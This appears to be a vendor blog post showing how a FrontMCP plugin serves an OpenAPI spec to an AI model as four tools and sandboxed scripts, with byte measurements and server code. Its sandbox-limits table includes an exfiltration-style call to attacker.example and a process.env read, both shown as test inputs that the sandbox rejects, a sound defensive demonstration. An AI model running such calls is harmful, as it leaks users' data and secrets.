Browse the blog

Your OpenAPI Spec Doesn't Need 19 MCP Tools. It Needs Four.

  • openapi
  • mcp
  • skills
  • code-execution
  • frontmcp

Dated article; use the maintained reference for current instructions. Example version: FrontMCP 1.11.1. Technical checks recorded: 2026-11-08. How checks work.

The usual way to put a REST API behind MCP is one tool per endpoint. It's what FrontMCP's own OpenAPI adapter does, and it works well while the API is small. We gave the adapter the Swagger Petstore's OpenAPI description, unchanged. Its 19 operations became 19 tools: 28,058 bytes of tool definitions, sent to the model before it has done anything. Then we asked which friendly dogs are available. The answer was every available pet, 60 full records with their photos and tags: 14,744 bytes for the model to read and filter.

Skilled OpenAPI is a FrontMCP plugin that serves the same spec as four tools. It groups the operations into skills. The model searches for the skill a question needs, writes a short script that calls its operations, and Enclave runs the script on the server. The script returns only what the question needs: eight dogs and a count, 313 bytes. The server on this page compiles the Petstore spec in your browser, and its tests check every number in this post.

One tool per endpoint, measured

FrontMCP's OpenAPI adapter turns each operation into a tool, with the operation's parameters as the tool's input schema. On the Petstore, that's addPet, findPetsByStatus, getInventory, loginUser and 15 more. Three costs grow with the API:

  • The catalog. Every tool's name, description and schemas are in tools/list: 28,058 bytes for the Petstore's 19 operations, about 1.5 KB each, in every conversation, used or not. An API with hundreds of operations puts hundreds of tools in front of the model.
  • The answers. A tool returns what its endpoint returns. findPetsByStatus sends every pet with that status, and the model does the filtering in its context.
  • The round trips. A question that needs three calls takes three turns, and each answer passes through the model on the way to the next call. An example below needs two rounds.

The adapter can trim a tool's output with dataTransforms, but you choose that trim when you write the server, not when a user asks a question.

Skills, search and a script in a sandbox

Skilled OpenAPI changes what the model gets from an API in four ways:

  1. Skills, not endpoints. A bundle groups the API's operations into skills. Each skill has instructions written for the model: what its operations return, in what order to call them, what to check first.
  2. Search, not a list of every endpoint. The model sees search_skill, load_skill, execute_action and run_workflow, however many operations the API has. It finds the skill for the question with search_skill, and reads its instructions and operations with load_skill.
  3. A script, not round trips. The model writes a short script that calls the operations with await callTool(actionId, input). One run_workflow call runs the whole script on the server. For a question that needs one operation, execute_action runs it without a script.
  4. Only what matters comes back. The script filters and maps the responses and returns the result. The raw responses never leave the server.

It's the code-execution pattern for MCP, applied to a REST API through its OpenAPI description.

The script is AgentScript, a subset of JavaScript, and it runs in Enclave, AgentFront's sandbox for code that agents write. @enclave-vm/ast checks the script and rewrites it, and @enclave-vm/core interprets it one step at a time, without Node's vm. Each callTool goes through the plugin. It checks the caller against the skill's rules and the input against the operation's schema, then adds the API's credentials and checks the request before it leaves the server.

The whole server, from the Petstore spec

main.ts takes the Petstore's OpenAPI description, unchanged in petstore-spec.ts, and compileSkilledBundleFromOpenApi() builds a bundle from it and the five skills in skills.ts. The three skills that change things, Orders, Pet records and Accounts, require a staff role. The Playground can't reach the real Petstore, so petstore.example.ts plays a hypothetical shop with 76 pets, 60 of them available.

The Call tab sends the script an agent would write for "Which friendly dogs are available, and how many pets do we have in stock?" Open the Tests tab: the tests check what this post says, every number included, in Node and in your browser.

Open
import "./petstore.example";
import { FrontMcp } from "@frontmcp/sdk";
import { SkilledOpenApiPlugin } from "@frontmcp/plugin-skilled-openapi";
import { compileSkilledBundleFromOpenApi } from "@frontmcp/adapters/skills";
import { spec } from "./petstore-spec";
import { skills, staffOnly } from "./skills";

const compiled = await compileSkilledBundleFromOpenApi(spec, skills, {
  bundleId: "petstore",
  version: spec.info.version,
  baseUrl: "https://203.0.113.10/api/v3",
  authBinding: { kind: "apiKey", in: "header", name: "api_key", vaultRef: "petstore-key" },
});

export const bundle = {
  ...compiled,
  skills: compiled.skills.map((skill) => (staffOnly.includes(skill.id) ? { ...skill, requiredAuthorities: { roles: { any: ["staff"] } } } : skill)),
};

@FrontMcp({
  info: { name: "petstore", version: "1.0.0" },
  apps: [],
  plugins: [
    SkilledOpenApiPlugin.init({
      source: { type: "inline", content: bundle },
      requireSignature: false,
      credentials: { "petstore-key": "petstore-api-key" },
    }),
  ],
})
export default class Server {}

Starting FrontMCP in your browser…

FrontMCP starts when this example comes into view.

The answer, with the run's own counts in stats:

{
  "success": true,
  "value": {
    "friendlyDogs": [
      { "id": 1, "name": "Rex 1" }, { "id": 4, "name": "Bella 1" }, { "id": 16, "name": "Bella 2" }, { "id": 19, "name": "Max 2" },
      { "id": 31, "name": "Max 3" }, { "id": 34, "name": "Nala 3" }, { "id": 46, "name": "Nala 4" }, { "id": 49, "name": "Rex 5" }
    ],
    "available": 60
  },
  "stats": { "durationMs": 3, "toolCalls": 2, "steps": 770 }
}

What tools/list tells the model: find a skill, then run it

Before it can write that script, the model needs to know what the API can do, and where to look. tools/list has four tools, 9,066 bytes here, however many operations the API has. Their descriptions are instructions, and each one names the next step:

ToolWhat its description tells the model
search_skillWhen the catalog at the end of this description "names the skill the user's request needs, call load_skill with that name directly: no search is needed". Otherwise search, with a query that's a "short natural-language description of what you want to do"
load_skillPass the name the catalog shows, or a skillId from a search, and "Load each skill once per conversation"
execute_action"Run one action from load_skill directly, with no script"
run_workflow"Run an AgentScript program in a sandbox to chain several actions from load_skill in one call", and how to write the script: await callTool(actionId, input), and "Only Math and JSON are available"

On every tools/list, the plugin also adds the skills this caller may use to the end of search_skill's description, one line each. The Playground's caller is anonymous, so the list has two of the five skills:

- **Pet catalog**: Find available, pending or sold pets, like dogs, cats and birds, by status or by tag, like friendly or vaccinated, and read one pet.
- **Store**: Count the pets in stock, and read an order.

With a list this short, the model can pick a skill from it and go straight to load_skill, as the description tells it to. A long list is cut at 16,000 characters, and the model searches. The numbers below count the search anyway, as the case for an API with more skills than the list can hold.

How search_skill finds the right skill

The model searches with a few words from the question:

Open

Starting FrontMCP in your browser…

FrontMCP starts when this example comes into view.

It gets back Pet catalog, with a score of 0.46, in 261 bytes. search_skill ranks the skills with VectoriaDB, AgentFront's vector database, inside the server. Each skill becomes a TF-IDF vector, a weight for each word, higher for words that few skills use. The words come from the skill's name, its description three times over, its tags, its actions' ids, summaries and descriptions, and each distinct word of its instructions once. Words like "the", "of" and "how" are left out. The query becomes a vector the same way. The skills closest to it, by cosine similarity, come first, and those under 0.1 are dropped. When none reaches 0.1, a plain word match scores each skill by the share of the query's words its text has. Then the plugin removes the skills this caller may not use. There's no embedding model to download and no API to call: the index is built the first time someone searches.

The tests pin these searches:

The model searches forsearch_skill returns
friendly dogs availablePet catalog, 0.46
vaccinated birdsPet catalog, 0.38
how many pets are in stockStore, 0.50
cancel an orderStore, 0.23, which can read an order. Orders, which cancels one, needs the staff role.
inventoryStore, 0.24, through its getInventory action
puppiesnothing

The description counts most, so it's the part of a skill you write for search, in the words your users use. Our first draft of Pet catalog's description said "Find the shop's pets by status or tags, and read one pet." It has none of the words in friendly dogs available. The same search still finds Pet catalog, through "dogs" and "available" in its instructions, but no skill reaches 0.1, so the word match ranks them: Pet catalog at 0.67, and Store at 0.33 for "available", though Store can't answer the question. A test keeps that draft to show it. The description now names the animals and the tags people ask about. Search still matches words, not meaning: puppies finds nothing, because no skill's text says it.

Put the questions your users ask in tests, as this page does. A description edit that breaks a search then fails the build, not a conversation.

The same skills, as MCP resources

A client that supports MCP skills can find them without search_skill. The server advertises the io.modelcontextprotocol/skills extension, and its instructions name the tools: "This server has 2 skills: load one by name with load_skill, or find one with search_skill; then run an action with execute_action, or chain several with run_workflow." The skill://index.json resource lists the two skills this caller may use, as skills/list and resources/list do. Each skill's SKILL.md is a resource with its name, description and instructions:

Open

Starting FrontMCP in your browser…

FrontMCP starts when this example comes into view.

Pet catalog's ends with an Actions section: each action this caller may run, with its input and output schemas as indented JSON, and how to run one with execute_action or chain several with run_workflow. So a client that reads it can run the actions without load_skill. It's 7,833 bytes, more than load_skill's 4,399 for the same skill, because of the indentation. For this caller, a staff-only skill's SKILL.md answers Resource not found, as a skill that doesn't exist does.

What load_skill returns, and what the script keeps

load_skill returns the skill's instructions and its actions, each with its input and output schema:

Open

Starting FrontMCP in your browser…

FrontMCP starts when this example comes into view.

The instructions are where you teach the model your API. Pet catalog's say that findPetsByStatus returns full records with photos and tags, and that the script should return only what the user asked for, like { id, name }. A script that follows them, like the one above, calls two actions, keeps the friendly dogs, and drops everything else.

That's the difference from a fixed output trim: the script decides what comes back for this question. For "show me three of the cats", the same skill's script returns each cat's name and photoUrls, and nothing else.

The numbers: 42,802 bytes against 14,039

Same spec, same questionOne tool per endpointSkills and a script
Tools in tools/list194
tools/list28,058 bytes9,066 bytes
Finding the skillit picks from the 19 toolssearch_skill: 261 bytes
Learning the API, once per conversationnothing moreload_skill: 4,399 bytes
The answer14,744 bytes: 60 pet records and the stock counts313 bytes: eight dogs and a count
Calls the model makes2, and it filters 60 records3: search_skill, load_skill, then run_workflow
The first question, in all42,802 bytes14,039 bytes
Each question after thatanother full answeranother run_workflow

These are UTF-8 bytes of the JSON each server sends, measured by this page's tests. They aren't tokens, which depend on the model. The answer sizes come from the stand-in shop's 60 available pets. A shop with more pets makes the first column's answer bigger, while the second column's stays a list of names. And as the API grows, the first column's catalog grows by about 1.5 KB per operation, the second column's by one line per skill.

Learning the API isn't free. The first question costs a search_skill and a load_skill, 4.7 KB here, and the instructions you write are part of that cost. If a few operations are needed in every conversation, keep them as plain tools: the adapter and the plugin work side by side.

Twenty questions later: 323 KB against 20 KB

A conversation keeps what it reads. The tool definitions stay for the whole session, each answer stays after the model reads it, and the client sends all of it with every model request. So the gap from the first question widens with each question after it.

If every question is like the first and needs fresh data, one tool per endpoint adds 14,744 bytes of pet records each time. Skills and a script add an answer of about 313 bytes, with the skill already loaded:

Questions so farOne tool per endpointSkills and a scriptLess
142,802 bytes14,039 bytes3.0 times
5101,778 bytes15,291 bytes6.7 times
10175,498 bytes16,856 bytes10 times
20322,938 bytes19,986 bytes16 times

Both grow in a straight line; the step is what differs. So the model request after the twentieth question carries 323 KB on one side and 20 KB on the other. These rows add up the sizes this page measures; they aren't a recorded session. Real questions differ, and a client may trim old answers.

When the API wasn't built for the question

REST APIs return what screens and integrations need: whole records, every field, every row that matches a filter. An agent's question usually needs a few values, and often a chain of calls to get them. Take a question an on-call lead asks: which three users have the most open alerts, and what are their user ids?

A typical activity API has no endpoint for that. Its alerts name the assignee by email only. So the answer takes three steps: list the open alerts, count them by email, then look up each of the three users to read their ids. This second Playground serves a hypothetical activity API with four operations, 25 users and 300 open alerts, as two skills, Alerts and Users. The Call tab sends the script for the question, and the Tests tab checks the numbers below.

Open
import "./activity.example";
import { FrontMcp } from "@frontmcp/sdk";
import { SkilledOpenApiPlugin } from "@frontmcp/plugin-skilled-openapi";
import { compileSkilledBundleFromOpenApi } from "@frontmcp/adapters/skills";
import { spec } from "./activity-spec";

export const bundle = await compileSkilledBundleFromOpenApi(
  spec,
  [
    {
      id: "alerts",
      name: "Alerts",
      description: "List open, acknowledged or resolved alerts, with the user each one is assigned to, and read one alert.",
      instructions: [
        "# Alerts",
        "",
        "- `listAlerts` returns every alert with a status, in full. An alert names its assignee by `email` only.",
        "  Count, filter and sort in the script, and return only what the user asked for.",
        "- `getAlert` reads one alert by id.",
      ].join("\n"),
      operationIds: ["listAlerts", "getAlert"],
    },
    {
      id: "users",
      name: "Users",
      description: "Find a user by email or by id: their user id, name, team and role.",
      instructions: "# Users\n\n`getUserByEmail` returns the user with an email, `getUser` the user with an id. Return the fields the user asked for.",
      operationIds: ["getUserByEmail", "getUser"],
    },
  ],
  { bundleId: "activity", version: spec.info.version, baseUrl: "https://203.0.113.20/v1" },
);

@FrontMcp({
  info: { name: "activity", version: "1.0.0" },
  apps: [],
  plugins: [SkilledOpenApiPlugin.init({ source: { type: "inline", content: bundle }, requireSignature: false })],
})
export default class Server {}

Starting FrontMCP in your browser…

FrontMCP starts when this example comes into view.

Through one tool per endpoint, the model makes those calls itself:

listAlerts returns all 300 open alerts, full records with titles, descriptions, labels and links: 194,449 bytes. The model counts them by email in its own context, calls getUserByEmail three times, and picks the ids out of three full user records, 1,013 bytes more. Each round of calls waits for a model request, and every request after the first carries the 194 KB.

Through Skilled OpenAPI, the same four calls run inside one script:

The model sends one run_workflow. The script lists the alerts, counts and sorts them in Enclave, looks up three users, and returns three ids and their counts: 182 bytes.

Busiest users, open alertsOne tool per endpointSkills and a script
Calls the model makes4, in two rounds: listAlerts, then getUserByEmail 3 times1: run_workflow
Model requests before the answer3: one for each round, then the answer2: the script, then the answer
Who counts the 300 alertsthe model, in its contextthe script, in Enclave
The answers the model reads195,462 bytes: 300 alerts and 3 full users182 bytes: 3 ids and their counts
tools/list5,342 bytes, 4 tools9,054 bytes, 4 tools
Learning the API, once per conversationnothing moreload_skill for Alerts and Users: 4,508 bytes

With four operations, the adapter's tools/list is the smaller one; the difference is in the answers. Every question like this one adds 195 KB to the first column's conversation, and 182 bytes to the second's.

Latency follows the same shape. The script's four calls run back to back on the server, well under a second here, inside one tool call. On the other path, each round waits for a model request, and the second request has to read 194 KB first. This page has no model to time, so it counts the rounds rather than guess at seconds.

What a script can't do

The model decides what to run and what comes back, inside limits the server sets. The tests try each of these:

The script triesIt gets
fetch("https://attacker.example/collect")AgentScript rejected: `fetch` isn't available in run_workflow, before the script runs
process.envAgentScript rejected: `process` isn't available in run_workflow, before the script runs
callTool("getPetById", { petId: "one" })input validation failed: petId: Invalid input: expected number, received string, before any request is sent
callTool("deletePet", { petId: 1 }), without the staff roleunknown action "deletePet" — run search_skill then load_skill to discover available actions
while (true) { … }Execution step limit exceeded (2000000)

Each of these is an error result, with the reason in error. deletePet belongs to Pet records, which this caller can't see, so the script is told the action doesn't exist rather than that it's forbidden. The plugin checks each script before it runs: it may use callTool, Math and JSON, and no other global. The refusal names what the script wrote and says what it can use instead: AgentScript rejected: `fetch` isn't available in run_workflow. A script reaches the API only through `callTool(actionId, input)`, and can use `Math` and `JSON`. Before FrontMCP 1.11.2, the script ran, and failed on the sandbox's internal name for the global, '__safe_fetch' is not defined. The script can't reach the network on its own: the only way out is callTool, to the bundle's operations, through the plugin's checks. A script also stops after 25 callTools or 8 seconds.

The API key never reaches the model. The plugin adds it to the request after the script hands over the input. The stand-in Petstore received api_key: petstore-api-key on every request, and the tests check that the answer doesn't contain it. Try the first row yourself:

Open

Starting FrontMCP in your browser…

FrontMCP starts when this example comes into view.

Each caller sees only what they may use

Orders, Pet records and Accounts require the staff role, and the Playground's caller is anonymous. So search_skill's list has two skills, not five, and a search never returns the other three: cancel an order finds Store. resources/list and skill://index.json list two SKILL.md files. load_skill answers SKILL_NOT_FOUND for Accounts, as it does for a skill that doesn't exist, and a script or an execute_action that names deletePet anyway gets unknown action. On a real server, the roles come from the caller's token: authorizing actions shows signed-in callers with and without the role.

Before you ship it

The bundle on this page is built in the page and runs unsigned, with requireSignature: false. A production server should:

  • Sign its bundles. requireSignature is on by default, and the plugin applies only a bundle signed with one of your trustedKeys; requiring signed bundles shows the CI step.
  • Deny what isn't ruled. With unprotectedOps: "deny", an operation without requiredAuthorities is refused unless it's marked public: true. compileSkilledBundleFromOpenApi() adds neither, so add them to the bundle before you sign it.
  • Keep secrets in a vault. credentials here is a fixed map; supplying credentials fetches them per call instead.
  • Know the script language's limits. AgentScript has no try/catch, no ++, and no Promise, so a script's calls run one at a time. A failed call ends the script with its error, unless the script passes { throwOnError: false } as callTool's third argument and checks ok.

CodeCall: the same idea, for your own tools

CodeCall applies code execution to the tools your server already has: the model searches them, reads their schemas, and sends one script to codecall:execute, which runs it through Enclave too. Skilled OpenAPI starts from an OpenAPI description instead, and adds what an API needs: skills with instructions, credentials the model never sees, and a rule for each operation.

Try it on your own API

npm install @frontmcp/sdk@1.11.3 @frontmcp/adapters@1.11.3 @frontmcp/plugin-skilled-openapi@1.11.3 @enclave-vm/core @enclave-vm/ast

Point compileSkilledBundleFromOpenApi() at your API's OpenAPI description, write a skill for each job your users have, and give each skill instructions that say what to return. The Skilled OpenAPI reference has every option, and the Playground runs the server above with your changes.

Report a docs issue. Site usage and privacy.